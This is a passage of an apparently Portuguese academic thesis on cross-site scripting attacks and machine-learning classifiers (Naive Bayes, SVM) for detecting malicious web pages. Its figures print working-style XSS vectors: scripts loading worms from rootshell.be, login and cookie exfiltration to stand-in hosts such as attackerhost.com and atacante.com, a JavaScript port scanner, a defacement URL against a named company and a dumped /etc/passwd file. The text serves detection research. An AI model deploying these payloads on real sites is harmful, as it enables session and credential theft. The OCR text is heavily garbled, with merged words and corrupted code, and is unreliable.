componentes do documem@b[OWASP, 2008], como um campo de texto ou uma sessa
de cookie por exemplo. O vetor XSS pode estar no conteidarda paginaveb ou ser
enviado em unink. Neste caso, o0 servidor ndo tem qualquer partiéipapois o0 ataque
modifica apenas o lado cliente e ndo envia qualgadigo malicioso para o servidor. A
Figura 2.6 ilustra um ataque XSS D(B&sedem que o atacante injeta o vetor XSS em um
link com o dominio de ursite legitimo e o insere no conteldo de umait (1.1) a ser
enviado como SPAM ou o insere em uma pagued (1.2) hospedada em um servidor
malicioso ou vulneravel a XSS. Ao clicar intk ou acessar o contetdo da pagina com vetor
XSS (2), o navegador processa a pagina e durarmgenstrucdo do DOM, o cdédigo
malicioso acessa e altera dinamicamente os négetsl{3) do DOM podendo executar
uma seérie de agcdes maliciosas, como por exempldarea cookie de sessdo do usuario
(vitima) para o atacante (4). De acordo com KI&@0p], a identificacdo desse tipo de

atague requer a execucao ou simulacao do preendoimies objetos DOM.



17

O cédigo malicioso podera produzir o envio de Informagdes criticas
(Por exemplo: o cookie de sessao)

[
[
[
J 4

% Q Injeta vetor XSS em SPAM ~ SPAM (T PR— )
nalisador

(11— |D<

.

Atacante

( Gerenciador do DOM )

-

< B A
> Injeta vetor XSS em PagWeb ' ¥  Nayegador executa o 3)
N ou em meio de armazenamento codigo malicioso Interpretador JavaScript [
_ Persistente (XSS Persistente) K J\ ~—° T p | \[Merpretador Javaserip
Servidor Web > e
Malicioso (1.2) (2) L\
ou vulneravel a X§§ - Usuario -
.Cookie
. J
(Cliente Web)

Figura 2.6. Visao de um ataque XSS DOM- Based.

2.2.2 Riscos de exploracao por Cross-Site Scripting

As possibilidades de exploracdo das vulnerabilidad8S podem ser as mais diversas.

Dentre as quais, sdo destacadas alguns exemplos:

Bypassda légica de validacdo usando técnica de ofuscacdgrande parte dos ataques
XSS utiliza uma técnica complementar para ocultaxddigo malicioso e contornar as
regras e validacdo dos campos de entrada de dadsgja, uma técnica para contornar os
filtros de validacao, viabilizando assim outro®fiple ataques XSS, como por exemplo, a
disseminagdo de/orms A técnica de ofuscacao implica na utilizacdo delguer sistema
de codificacdo que possa ser decodificado ou irg&go pelo navegadoks codificacdes
alternativas mais empregadas por atacantes pasaapfeddigos maliciosos inseridos na
URL ou no documentwebem ataques XSS sado as codificacbes nos formatadelemal
(\%[0-9A-Fa-f[{2}), Decimal ([0-9]{1,3}), Octal ([07]{1,3}), Unicode (\%u[0-9A-Fa-
f{4}) ou (\%[0-9A-Fa-f[{2}), Base64 ([0-9a-zA-Z\+#]) e caracteres HTML (\&[a-zA-
Z){2,}). As codificacBes alternativas sdo um reauldrgamente usado para ofuscar codigos
maliciosos [Likarish et al., 2009], [CAPEC-72, 2Q1Burlando a atencdo do usuério e
filtros anti-XSS. A Figura 2.7 demonstra 0 uso daeliicacdo alternativa em formato
Hexadecimal (linhas 7 a 12) na ofuscacao de cad@iioso. O codigo exibido mostra um
ataque dedrive-by-download(linhas 1 a 4) usandtag iframe e propriedadesrc para

executar o arquivo malicioso xssworm.js.
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Bypass da Logica de Validagdo (Ofuscacgéo de Codigo)

/ICédigo em ASCII

<iframe name="iframex” id="iframex" src="hidden” style="di splay:none”>
</ iframe >

<script ~ SRG="http://rootshell.be/~psy/protected/ xssworm.js "></ script >

/ICbdigo em Hexadecimal

%3C%69%66%72%61%6D%65%20%6E%61%6D%65%3D%201DYaE9%6a84%46 D%665%78%201D%20%69%64%
3D%201D%69%66%72%61%6D%65%78%201D%20%73%72%63%dIDHE6BY669%64%64%65%6E%201D%20%
73%74%79%6C%65%3D%201D%64%69%73%70%6C%61%79%3ANMEYH5%201D%3EY%0A%3C%2F%69%6
6%72%61%6D%65%3E%0A%3C%73%63%72%69%70%74%20%53%32%%201D%68%74%74%70%3A%2F%2
F%72%6F%6F%74%73%68%65%6C%6C%2E%62%65%2F%7 EY MeIRY%670% 72%6F%74%65%63%74%65%
64%2F%78%73%73%76%2E%62%73%201D%3E%3C%2F%73%639%7 20867 4%3E%0A

©CoNOUAWNR

e
NE O

Figura 2.7. Uso de ofuscacdo em cédigo malicioso pa  rarealizar o bypass da légica de
validagdo [SCGO09, 2009], [XSSed, 2010].

Drive-by exploits: muitos ataques XSS utilizam a exploracadodgsda aplicacédaveb ou

do navegador do usuario para instglrg-ins ou drive-by-download- técnica utilizada
para realizadownloadde cddigo maliciosonfalward na maquina alvo. Em face de sua
complexidade, este tipo de exploracdo, também coti@mpar alguns autores de XSS Virus
ou XSSWorm[SCGO09, 2009], tem recebido foco especial em resepésquisas. A Figura
2.8 demonstra um vetor XSS usado para instakdware na maquina alvo. No primeiro
exemplo (linhas 2 e 3), drive é instalado pel@cript xssv.js por meio de um elemento
iframe e src que o direciona para o servidor do atacante ostie lecalizado o cédigo
malicioso. No segundo exemplo, o cédigo maliciosaséalado por meio de um arquivo de
imagem e é viabilizado por um elemeimay e src (linhas 7 a 9) que aponta para o local

onde esta armazenado o cédigo malicioso.

Drive-By Exploits (Drive-by-Download)

1: /[Drive-by-Download viabilizado pela t ag <iframe>

2: <iframe name="iframex” id="iframex” src="hidden” style="di splay:none”>

3: </ iframe ><script SRG"http:// rootshell.be /~psy/protected/ XSSv.js "> </script>
4:

5: /[Drive-by-Download viabilizado pela a t ag <img>

6: <html>

7: <img src =" xssworm .gif">

8: <script  src ="file://C:\Documents and Settings\Administrator\

9: Local Settings\Temporary Internet Files\ xssworm .gif">

10: </html>

Figura 2.8. Exemplo de vetor XSS usado em  Drive-By-Exploits [SCG09, 2009].

Port Scanner alguns navegadores @lug-ins apresentanbugsque podem ser explorados
por scriptsmaliciosos em outros recursos ou servicos ndo-HiarAneio de varredura de
portas. A varredura pode ser realizada para ideatihosts e servicos que podem ser
explorados. Apoés a identificacao, weript malicioso pode tentar realizar umgerprint e
realizar ataques de varios modos. A Figura 2.9 deitre um vetor XSS usado para realizar
varredura de porta, que carrega uma imagem empmegam eventoonerror e uma

propriedadesrc (linhas 12 a 21) para apontar para um enderecterndn o IP e a porta
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rastreada. Uma funca&angerprint (linha 31), pode ser usada para obter informacolees

o0 sistema operacional usado (linhas 28 a 36). Kiyalsainda, obter informacdes sobre o

tipo de navegadoplug-ins instalados, tamanho de janela disponivel, etc.

Port Scanner

CONITRWNE

/I Port Scanner:
var AttackAPI = {
AttackAPI.PortScanner = {};
AttackAPI.PortScanner.scanPort = function (callback , target, port, timeout) {
var timeout = (timeout == null)?100:timeout;
var img = new Image();
img.onerror = function () {
if (limg) return;
img = undefined;
callback(target, port, ‘'open’);

/lcarrega uma imagem
img.onload = img.onerror;
/lcarrega a imagem com os valores escaneados do IP e porta
img.src = 'http://' + target + "' + port;
setTimeout(function () {
if (limg) return;
img = undefined;
callback(target, port, ‘closed’);
}, timeout);
AttackAPI.PortScanner.scanTarget = function (callba ck, target, ports, timeout)

for (index = 0; index < ports.length; index++)

AttackAPI.PortScanner.scanPort(callback, target, ports[index],
timeout);
h
Il FingerPrint
<img src="http://intranet_ip/unique_image_url"onerr or="fingerprint_os()" />

)
/I trecho de cddigo da fungéo fingerprint_os()
function fingerprint_os()
{
t = window.navigator.platform;
return t;}

()

Figura 2.9. Exemplos de vetores XSS usados emum at aque do tipo PortScanner e Fingerprint

[Gnucitzen, 2010], [XSSed, 2010].

Roubo de informacgbes locais ou de navegacamuitos scripts sdo usados para obter

informacgdes de navegacdo como histérico, tempedeanéncia na pagina e o endereco IP

do visitante, informacdes Uteis para ataques efesliaom apoio em técnicas de engenharia

social em umlink com script malicioso. Informacfes contidas na area de tregrste,

como senhas copiadas e transferidas por meio dospeccolar” ou pelo recurso de

memorizacao de dados de navegacao também podetsis. A Figura 2.10 demonstra

um vetor XSS que tem por objetivo roubar o histrie navegacdo do usuario. As

informacdes contidas no historico traduzem infordeacimportantes para o atacante. Por

exemplo, o atacante pode verificar o servigardernet Bankingque o usuario acessa e

produzir um atague de XSZhishingou roubar ocookiede sessdo do usuario, de forma

direcionada. O cddigo executa uma funcéo que imghkanuma estrutura de repeticdo para
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verificar quaidinks foram visitados pelo usuario (linhas 6 a 21).

Roubo de Histdrico de Navegacao

1: /[Trecho de c6digo de um ataque de roubo de histori co de navegagéo do
2: usuario, que verifica quais links foram visitados p elo usuério, a partir do
3: vetor websites [ ], que contém os links de interess e do atacante.
4: (..n)

5: function stealHistory() {

6: /I Executa um loop para verificar os sites que o0 usuario visitou
7; for (var i = 0; i < websites.length; i++) {

8: var link = document.createElement("a");

9: link.id = "id" +i;

10: link.href = websites[i];

11: link.innerHTML = websites][i];

12: document.body.appendChild(link);

13: var color =document.defaultView.getCompute dStyle(link,null).
14: getPropertyValue("color");

15: document.body.removeChild(link);

16: /I verifica pela cor se o usuario visitou o link.

17: if (color == "rgh(0, 0, 255)") {

18: document.write(" + websites[i] +");

19: }

20: }

21: }

Figura 2.10. Exemplo de vetor XSS usado para roubar o historico de navegacgédo do usuario.

Phishing: muitos ataques dehishingutilizam scriptsde redirecionamentos para conduzir o
usuario para uma pagina falsa, idéntica a pagimanal, o que pode levar o usuario a
digitar credenciais de autenticacdo, numeros déesde crédito ou dados pessoais no site
falso. A Figura 2.11 ilustra um vetor XSS usadowemataquehishing O codigo exibido
mostra umlink (linha 2) que pode ser inserido em uma pagiel por exemplo. Observe
gue oscript possui uma propriedadec que direciona o usuario para o dominio do atacante
que executa um arquivdavaScript chamadophishing.js (linhas 5 a 21). O cdodigo

malicioso inserido neste arquivo cria formulariosnca insercdo de campos para sequestrar

as credenciais do usuario legitimo (linha 5).

XSS Phishing
1: /I link com injecéo de cédigo JavaScript
2: <a href="www.sitelegitmo"><script src ="http://attackerhost.com/
3: </script> www.sitelegitmo.com</a>
4:
5: /ICédigo malicioso inserido no arquivo phishing.js
6: /IConjunto de forms com campo de login para o usuar
7; Form = document.forms["userslogin"];
8: function stealLogin() {
9: /I Cria um novo elemento iframe
10: var iframe = document.createElement(“iframe");
11: /I Oculta o <iframe>
12: iframe.style.display = "none";
13: /I carrega o c6digo malicioso no cédigo PHP no ifra
14: iframe.src = "http://attackerhost.com/getlogin.php?
15: "&pass="+ Form.pass.value;
16: /I Anexa o iframe no corpo do cédigo.
17: document.body.appendChild(iframe);
18:
19: /I As informagoes submetidas pelo usuéario séo envia
20: Form.onsubmit = stealLogin();

21: /* EOF */

phishing.js ">

io digitar suas credenciais.

me
user="+ Form.user.value +

das pela funcéo anterior.

Figura 2.11. Exemplo de vetor XSS usado em um ataqu

e Phishing [XSSed, 2010].
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» Defacement(desfiguracdo de paginasveb: uma vulnerabilidade XSS pode permitir a
injecdo descript malicioso com objetivo de causar a desfiguracaarda paginaveh No
ano de 2010, o sitéoneh (http://www.zone-h.com.br) registrou mais de fdhdes de
paginas desfiguradas, muitas delas associadagjaeatXSS. Alguns ataquédefacement
sdo considerados passivos, por gerar apenas umsageem na tela ou a desfiguracéo
reflexiva, que é vista apenas no cliem&h A Figura 2.12 demonstra um vetor XSS usado
em um ataque de desfiguracdo da pagweh de uma empresa do ramo petroleiro, em
funcé@o de protestos pelo vazamento de 6leo no GolfMéxico. A Figura 2.15 mostra a

pagina da empresa antes do ataque e a Figura 2sifam pagina depois do ataque.

Desfiguracédo de Paginaveb

1: /IAtaque Defacement XSS.

2: http://energiser.bp.com/login/index.php?lang=%22%3E %3Ciframe%20src=http://www.ta
3: mpabay.com/multimedia/archive/00121/SP_322824 BORC_ 0ilp_121445c.jpg%20width=450%
4: 20height=300%20frameborder=0%20scroll=n0%3E%3C/%3E% 3C/;document.write%28unescape
5: %28a.source%29%29;{//

6:

7: /I Cédigo decodificado

8: http://energiser.bp.com/login/index.php?lang="><ifr ame src=http://www.tampabay.

9: com/multimedia/archive/00121/SP_322824_BORC_oilp_12 1445c.jpg width=450

10: height=300 frameborder=0 scroll=no></></;,document.w rite(unescape( a.source));{//

Figura 2.12. Exemplo de vetor XSS usado em um ataqu e Defacement [XSSed, 2010].

Observe a pagina da empresa atacada antes daudssig da paginék-igura 2.13).

[ SR
185 BP.com defaced with XS5 x]G English: Efetuar login neste * g =TT
C # £ nttps//energiserbp.com/login/index.php FECRY
OCustam\zeLmks -‘l Google (] Linux 4 Motorala DEFY - Ful.. @SabveaautavauAbvm ) Acer Aspire One 255... [ Blog do Paz | Web D... GL\vmsE\étncas:A\gm (] Qutros favoritos

(TS MORE THAN JUSTOIL 'S LIQUID ENGINEERING.

ECastrol

Energizer... Getting You Ready For Castrol!

Retornanto a este site?

Efetue login aqui usando o seu nome de usudrio e senha
(Cookies devem ser ativados em seu navegador) @)

Idioma | Engiish (en) B
Nome do Usudrio

Senha

_—

Figura 2.13. Pagina da empresa antes do ataque de d esfiguracdo [EnergizerBP, 2011].

Apds o ataque com o vetor exibido na Figura 2alpagina da empresa foi desfigurada,
conforme pode ser visto na area destacada da Figlda O ataque foi realizado por meio da
injecdo de um objetdrame dentro da pagina da empresa, empregando pararissgropriedade
Src, que aponta para o recurso armazenado no dominébadante, que contém a foto que vai ser
exibida na pagina e escreve sobre o DOM o contdéd@” (linha 10, da Figura 2.12) depois de
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“escapar” os caracteres por uma fungéescap€ ).

(& English: Zowdeom omow BT ..

“« C 1% http:ffenergiser.bp.comdoginfinde:. php?

Abhon TehiGndicTeg

. : =
- - IT'S MORE THAN JUST DIL. IT'S LIQUID ENGINEERING.

Energizer...

oae eTolpadel yia Ty Castrol

Codigo Malicioso

ENIOTpoOPpI] ¢ aUTOV TOV JIKTUAKO /
TONO;

ZuvdeBeiTe AW PE TO GVOPG XPrOTI 0Gg Kal TOV KW3IkKa
sag
(MpEnsl va EXETE EVEPYOMOINMEVA T ¥V dvayVipIons
(Cookies) oTo MpOYPARWa MeEPIFyYNOT 0ag) (3

J bnlhonalre |

ﬂ %"U*C DE

Figura 2.14. Pagina da empresa apos o ataque de des figuragdo [XSSed, 2012].

* Ataque de atravessamento/passagem de diretériogtaque em que podem ser injetados
comandos arbitrarios em um atravessamento de dagtdesse tipo de ataque, um agente
pode explorar uma vulnerabilidade e navegar pelar@rde diretorio até a raiz do volume
do sistema alvo e acessar pastas de arquivostdmai®peracional e executar um codigo
arbitrario ou um utilitario remotamente. A Figurd2 mostra o emprego de uma sequéncia
de caracteres “//../[" para acessar o diretéric/gassword.
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rootxO0:root/root/bingsbash binocl:l:bing/biny/sbing/nologin daemonaa2:2:daemon:/shiny/sbingnologin admac3diadmi/varsadm:/shing
nologin lpxa:.7lpvar/spool/pd/sbin/nologin synca50:sync/sbin/bindsync shutdownnes:O:shutdown:/shin:/sbin/shutdown

haltee7 othalty/shiny/sbinshalt mailzcg:12:mailisvar/spool/maili/sbin/nologin newsag:l3news:etc/news: uucpaclOlduucp/vars/spools
uucp:sshin/nologin operatorx:11:0:operator:/root,/sbin/nologin games:x:12:100:games:/usr/games:/shin/nologin
gopherxl13:30:gopher/var/gophery/sbin/nologin fipaeld:S0:FTP Userfvar/fipi/sbin/nologin nobody:x:o9:99:MNobody:/i/sbhin/nologin
dbusx81:21:System message busy/shingnologin nscda28:28:MSCD Daemon//sbin/nologin vesans9:evirtual console memory
ownery/devy/shin/nologin rpesc32:32:Portmapper RPC useryi/sbingnologin sshdne74:74:Privilege-separated SSH:yvar/empty/sshd:/sbing
nologin rpcuserza29:20:RPC Service User/var/lib/nfsi/sbin/nologin nfsnobodyx4204967294:4294967 204:Anonymaous NFS Useryfvar/lib/
nfsi/shinsnologin pcapx77: 77 /var/arpwatchisshingnologin mailnullaca7:47 s/var/spool/mgueuey/shingnologin smmspscS1:S1a/vary
spool/mgueue/sbin/nologin rpmex37: 37 /varsdibsrpmessbingnologin haldaemonzegs:68:HAL daemon://shin/nologin
nagios:x:100:101:nagiosyvar/log/magios:/bing/ssh puppetnel101:102:Puppet/var/lib/puppet/sbin/nologin apachexas:as:apache:svary
wwwisshingnologin distcachex:94:94:Distcache://shing/nologin carradmin:x:500:500:/home/carradmin:/bins/bash
rootxOiroot/srooti/binsbash binzel:l:bing/binysbin/nologin daemonx:2:2:daemon:/shin/sbin/nalogin admza3::adm:svar/adm:/sbinys

Figura 2.15. Exemplo de um ataque de atravessamento  de diretdrios [XSSed_Mirror5938, 2009].

* Roubo decookies ataques XSS podem ser efetuados com o objetivouti&ar oscookies
gue sao fragmentos de informacOes geradas por wid@eweb e armazenadas no

computador do usuario com o objetivo de criar umiilpgle acesso a um determinasite
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ou sistema, de forma a facilitar a navegacao oanéiucdo do usuario. Muitasokies
podem conter informacdes confidenciais como senhafrmacdes bancarias e
identificacdo (ID) de sessfes. Se a autenticacaomemeistema é baseada eocokiese um
atacante consegue obter acesso a essas informacégsnte malicioso podera ter acesso

completo aos recursos do usuéario legitimo.

Para exemplificar, serdo mostrados a seguir, ssogade um tipico ataque XSS Reflexivo
em que o cédigo malicioso executa o enviacdokiede sessdo do usuario para o atacante. Observe

0 vetor XSS demonstrado na Figura 2.16 e em segaidiagura 2.17, os passos do ataque.

Cenario: O atacante descobre uma vulnerabilida88 ¥m um servidor que hospeda a
pagina de uma rede social popular no dominio hiigotévww.minharedesocial.com) e que faz uso
de cookie para armazenar informacfes de sessdo na maquisaudeusuarios. O atacante em
seguida prepara um ataque injetando um vetor XSSurartink com o dominio da rede social

(Figura 2.16) e insere em umeil para envia-lo em massa como SPAM.

Vetor XSS Inserido no Email
<a href="http://www.minharedesocial.com/
<script>document.location="http://www.atacante.com/
quero-cookie.php?’+document.cookie</script>">CLIQUE AQUI VOCE TEM DUAS
SOLICITACOES DE AMIZADE.</a>

Figura 2.16. Exemplo de um vetor XSS usado em umro ubo de Cookie.

N4
% %@ SPAM %@ ) . B

Atacante IE Usuario Servidor Web Vulneravel
______________ >
1.1: Atacante envia seaM | — T T T T T T T T T T T T T >

contendo link com cédigo
JavaScript malicioso

1.2: O wusuario clica no link
malicioso recebido por e-mail. (Uma
requisi¢do HTTP com o cédigo
JavaScript malicioso é enviada
para o servidor web vulnerdvel

<7 77777777777777
<7 ______________ 1.3: O Servidor responde com uma
L ) pdgina de erro. A mensagem de
1'4': . o c/od.z.go JavaScript erro contém o cédigo malicioso
malicioso € executado no JavaScript que é refletido para
navegador e o cookie de segdo o usudrio
usudrio €é enviado para o . =
atacante. . m

Figura 2.17. Exemplo de um ataque XSS Reflexivo com  roubo de Cookie.

A seguir sdo descritos 0s passos do ataque:

1.1. O atacante insere o0 vetor XSSawmaile o envia para o usuario (a vitima).
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1.2. O usuério, por negligéncia ou por confianca, dliodink do site onde possui uma conta de
acesso. Nesse momento, € enviada uma requisicaB pdra a pagina no servideebsob
o dominio www.minharedesocial.com, que ao tentanperar o recurso solicitado, ndo o

encontra, e gera uma mensagem de erro para oasuari

1.3. O servidor retorna uma mensagem de erro para ariasinformando que o arquivo
solicitado nao foi encontrado, o qual € na verdageodprioscript injetado, que pode ser

executado no navegador do usuario;

1.4. O script € executado no navegador do usuario eaokie de sessdo estabelecido pelo
dominio www.minharedesocial.com é enviado paramidm www.atacante.com (linha 2
da Figura 2.16) que pertence ao atacante. Obsemeoqcddigo atribui o dominio do
atacante endocument.locatior(linha 2, da Figura 2.16) e enviacookie invocando o
script queroeookie armazenado no servidor do atacante, neste castmesn PHP, que ira
gravar as informacfes doookie do usuario em um arquivo para acessar o dominio

www.minharedesocial.com com as credenciais do issl&gitimo.
2.3 Aprendizagem de Maquina

Aprendizagem de maquina é uma subarea da IntelméAdificial que estuda métodos
computacionais para adquirir novos conhecimentsso locorre através do emprego da teoria
estatistica na constru¢cdo de modelos mateméatioodizindo inferéncias, a partir de exemplos, em

um processo indutivo [Alpaydin, 2010].

Para entender como ocorre o0 processo de aprendizaga descoberta de padrbes que
determinam se uma paginebé maliciosa ou ndo, serdo definidos, a segujriosipais conceitos
sobre aprendizagem de maquina e uma breve desdogduétodos de classificagdo usados.

2.3.1 Definigao

No contexto de aplicacdes computacionais, Alpayadi0] define aprendizagem de maquina de

uma forma bem precisa:

“... sdo programas de computador utilizados paraimigar um critério de

desempenho, usando dados de exemplo ou experdnpessado”.

Ja é amplamente aceito na literatura que sistereaspdendizagem confiaveis sdo de
importancia estratégica em diversas areas de efbcgois hq muitas tarefas as quais ndo podem
ser solucionadas através do uso de técnicas deapragao classicas. Pode-se citar como exemplo,
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a classificacdo de mrails em duas classes: legitimospam Nesse tipo de problema, a entrada é
conhecida: um documen®mail que em seu caso mais simples é um arquivo texto;saida
também é conhecidapamou ndospam Porém, a forma como a entrada devera ser codaert

saida é desconhecida.

Os algoritmos de aprendizagem de maquina, port@oiem ser a chave para solucionar
problemas dessa natureza, pois sdo capazes dadapra definir padrbes das classes envolvidas
no problema, a partir de exemplos reais obtidosamibiente [Alpaydim, 2010]. A Figura 2.18
mostra um modelo genérico de aprendizagem de madqiambiente fornece informacao para um

elemento de aprendizagem que usa essa informacadgzer melhoramentos em uma base de

conhecimento e entdo, um elemento de desempenlesssdase para executar sua tarefa.

Elemento de
Desempenho

Ambiente q Elemento de Base de q
Aprendizagem Conhecimento

Figura 2.18. Modelo genérico de aprendizagem de maq uina.

2.3.2 Terminologia

Para entender o processo de aprendizagem é nécessdinecer alguns dos termos e conceitos
comumente empregados neste trabalho. As defingg8eguir, sdo de Kuncheva [2004]:

» Classes Uma classe possui objetos similares, enquantetajde classes diferentes sao
dissimilares. Por exemplo, paginasbinfectados com vetor XSS podem ser categorizados
como objetos da clas¥SS enquanto paginasebnéo infectadaséo objetos da classion

XSS Pode-se definir que um problema de classificalgidados possui classes, rotuladas

de w a a, organizadas em um conjunto de rétul@s:{ai,..,ac} e que cada objeto

pertence a apenas uma classe.

» Caracteristicas ou atributos Os objetos que compdem as classes sao desdragssade
caracteristicas ou atributos. As caracteristicateimoser nominais, tais contags HTML
(div, meta link, etc.) ou podem ser numéricas, como tamanho dauuguantidade d&ags
JavaScript Os valores de caracteristicas de um obje$@do organizados em um vetor

dimensionalx =[x,,...,x,]0O". O espac@ "é chamado espago de caracteristicas, sendo

gue cada eixo corresponde a uma caracteristichjdtoo

 Base de Dadasos algoritmos de aprendizagem de maquina precs@anmformacoes

provenientes dos dados disponiveis do problemaa BE¥®rmacdo normalmente esti
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organizada na forma de um conjunto de dados{z,...,zy}, z, 10O". Em problemas de
aprendizagem supervisionada, o rétulo da classgééefinido porl(z,)0Q,j =1...,N.

A base de dados deve ser constituida de instamagproblema que devem estar
armazenadas em vetores de caracteristicas. Porpkxedadas diversas instancias de
paginasweb com coédigoscript, ndo € uma tarefa trivial representar as pagitrasées de
vetores de caracteristicas como: tamanho de URisiéexia de codigo ofuscado, etc.
Entretanto, definir um conjunto de caracteristigdsvantes que represente esse conjunto é

crucial no resultado do processo de classificagfanaatica.
2.3.3 O Processo Indutivo de Aprendizagem

O processo indutivo em aprendizagem de maquinaeeopartir da inferéncia légica sobre um
conjunto de fatos ou observacdes, permitindo olsemclusdes genéricas e aquisicdo de
conhecimento [Alpaydin, 2010], [Batista, 2003] elpser usada para uma variedade de propésitos
[Witten et al., 2005], como por exemplo para a cgie de anomalias naeb [Chandola et al.,

2009]. Basicamente, a obtencéo do conhecimento guuteer sob duas formas [Alpaydin, 2010]:

» Aprendizagem supervisionadaocorre a partir do fornecimento de exemplos aados as
classes. A partir dos dados rotulados, o sisterfaaeirmodelos que caracterizam quais
instancias pertencem a uma determinada classeoc@9s0 emprega algoritmos preditivos
capazes de retornar como resultado, tendénciaslasbpela inferéncia dos dados. A
aprendizagem supervisionada apresenta como vantaggescoberta de padrdes, a partir de
um conjunto de fatos ou observacfes rotuladaszinda a maguina a um processo de

aprendizagem [Alpaydin, 2010].

* Aprendizagem nao-supervisionada: ndo ha exemplos rotulados. O sistema infere

conhecimento a partir da busca por padrbes nosapaosao fornecidos na entrada.
2.3.4 Métodos e Algoritmos de Classificagéao:

Atualmente existem diversos métodos de aprendizagygrarvisionada disponiveis utilizados com

grande efetividade em diversas aplicacfes. Esseézdos também chamados de classificadores,
tém demonstrado grande importancia e diferenciatedagdo a outras técnicas, principalmente em
problemas complexos e nédo exatos, em que é prgersralizar um comportamento para aprender
uma nova situacao [Alpaydin, 2010]. A selecdo ddhoreclassificador depende de uma série de
variaveis, dentre elas, o tipo de problema a s¢adp, a natureza e a disponibilidade de dados, o

desempenho, entre outras [Chandola et al., 2009].
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Este trabalho comparou e avaliou 03 (trés) classlbres utilizando o conjunto de dados
disponivel. Os resultados dos experimentos reaizacbm esses classificadores podem ser
verificados no Capitulo 5. Esta secéo ir4 se cdremenuma breve descricdo dos classificadores
empregados nos experimentos realizados neste hoablsllaiores detalhes sobre o emprego de
aprendizagem de maquina em seguranca de redesngeitealores poderdo ser obtidos em Henke
et al. [2011].

2.3.4.1Naive Bayes

Esse método de aprendizagem de maquina baseia-sturglamentacdes simples, mas que
frequentemente produz elevada taxa de classificagiigroblemas reais [Tsai et al., 2009]. O
modelo busca uma resposta para questionamentos 8Quoel a probabilidade do ataque ser de um
determinado tipo, dado alguns eventos do sistersaroddo?" [Tsai et al., 2009].

Considerando uma instancia= {x,,x,, ..., x,} € ", o problema de classificacdo tratado
por Naive Bayegonsiste em atribuir a amoskama dag classes envolvidas no problema, em que
0 = f{w,,..,w_} € 0 conjunto de classes. Um erro minimo de claag#io pode ser obtido quando a
classe com maior probabilidadeposterioriP(w,|x) é atribuida X. Essa probabilidade é calculada

atraveés da formula dgayesdefinida na Equacéo 2.1.

Pleaidplaxlea;)

c ) )
Z G Jo (| wl

j=2

Plow|x) = yE=1, 0,0 (2.1)
em queP(w;) & a probabilidade priori de ocorréncia da classe: e p(x|w,) é a funcdo de

densidade de probabilidade condicional de cadael@DF Probability Distribution Functioh

A obtencdo de uma estimacdo precisa das PDFs ¢asjén dificil, especialmente se a
dimenséo do espaco de caracterisiicaé elevada. Para superar essa dificuldidgye Bayes
assume que as caracteristicas sdo condicionalnmetépendentes. Neste caso, a PDF para uma
classe dada é obtida da seguinte forma:

Plx|lw,) = 1_[ p[x}-lwi), i=1,..,¢c (2.2)
=1

Precisamente, a PDF conjunta € obtida através rifecagdo da frequéncia de ocorréncia de
cada valor de atributo para cada classe do probfemmaamostras de treinamento. Além disso, a
probabilidadea priori também pode ser obtida através da frequéncia @eéocia de cada classe
na base de treinamento. A hipétese de independéntia caracteristicas pode parecer restritiva,

mas resultados praticos encontrados na literatardieersas areas de aplicacado mostramNpiee
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Bayes produz elevada taxa de classificacdo mesmo quasdcaracteristicas sao claramente

dependentes [Kuncheva & Hoare, 2008].

Baixa complexidade na fase de treinamento é umaiilasipais vantagens déaive Bayes
uma vez que essa fase envolve apenas o calculegig€ehcias para que as probabilidades sejam
obtidas. Essa caracteristica toNwive Bayesndicado para aplicacoesline tais como problemas
envolvendo seguranca de redes cujo treinamentasprecorrer de formanline e com frequéncia
regular. Outra caracteristica que toN&ive Bayestrativo para a area de segurawehé o fato de
possibilitar a manipulacéo de atributos nominaisiméricos. Atributos nominais sao frequentes em
deteccdo depam XSS paginagphishing dentre outros problemas de classificacdo de dectos

textuais.

2.3.4.2 SVM Bupport Vector Machines

E uma técnica de classificagcdo amplamente aplieadproblemas de seguranca de redes tais como
deteccdo dephishing [Miyamoto et al., 2009] e deteccdo de intrusos ¢Xiet al., 2007].
Basicamente, o funcionamento de SVM pode ser destai seguinte forma: dadas duas classes e
um conjunto de instancias de treinamento cujas masopertencem a essas classes, SVM constroi
um hiperplano que divide o espaco de caractersséoa duas regides, maximizando a margem de
separacao entre as mesmas. Esse hiperplano é idmbemo hiperplano de separacédo 6tima. As
amostras desconhecidas (exemplos de teste) sdo er@feadas para esse mesmo espago, e

atribuidas a uma das classes [Alpaydim, 2010].

A Figura 2.19 mostra o hiperplano de separacaoad{neta separadora) para um problema
bidimensional tipico e linearmente separavel. Aasrpontilhadas He H, paralelas ao hiperplano,
constituem o par de hiperplanos que geram a mangéxima pela minimizacdo do vetor peso
Além disso|b|/||w|| é a distancia perpendicular do hiperplano a origglm|| € a norma Euclidiana
dew. Os pontos que estdo em um dos hiperplanos H sdo chamados vetores de suporte. Esses
pontos, indicados na Figura 2.19 por circulos extedteram a solucdo encontrada caso sejam
removidos. Além disso, em fase de uso de SVM, apesaetores de suporte sdo necessarios para
gue dados desconhecidos sejam classificados.
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Figura 2.19. Hiperplano de separacao 6tima paraum  problema com duas classes.

O algoritmo original de SVM nao encontra a soludasejada quando aplicado a dados n&o
linearmente separaveis, caracteristica presentaamaria dos problemas reais [Alpaydim, 2010].
Entretanto, tais problemas podem ser solucionadosSgM através da utilizacdo de funcdes de
separacao de dados mais complexas do que fung@esds. Sendo assim, o uso de diferentes
funcBesKernel possibilita a construgdo de SVM com diferentesgife superficies de decisdo nao

lineares no espaco de entrada [Alpaydin, 2010].

Com o uso de funcgbdeernel, as instancias sao inicialmente mapeadas para uat®sie
caracteristicas de maior dimensao que o espacardeteristicas original, permitindo, dessa forma,
a classificacdo em espagos ndo linearmente separdve-igura 2.20 mostra o processo de
transformacdo de um espaco nao linearmente sepaeweum problema linearmente separavel

através do aumento da dimensao, consequéncia deamapto feito por uma funcéiernel KXx).

Espaco de Entrada Espaco de Caracteristicas
Figura 2.20. Mapeamento do espaco de entrada via fu ncao kernel.
Dentre as funcdekernel mais usadas destacam-se: PolinOmios, Fungdes sk Badial

(RBF) ou Gaussiana e Sigmoide, definindo diferentéquinas de aprendizagem conforme Tabela

2.1. Nessa tabelarepresenta os vetores de suporte, enquargpresenta os dados de teste.
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Tabela 2.1. Fung6es de Kernel mais utilizadas com SVM.

Tipo de Kernel FuncaoK (x,x;) Tipo de Classificador
Polinomial [(x Dy)+ 1]d Maquina de Aprendizagem Polinomial
ause _(x-yf
aussiano ou (RBF) ex ? Rede RBF
G
Sigmoidal tani{ﬁo(x Dy)]+ I'A Perceptron de duas camadas

Um dos pontos mais importantes na utilizacdo de $\descolha da func&ernele de seus
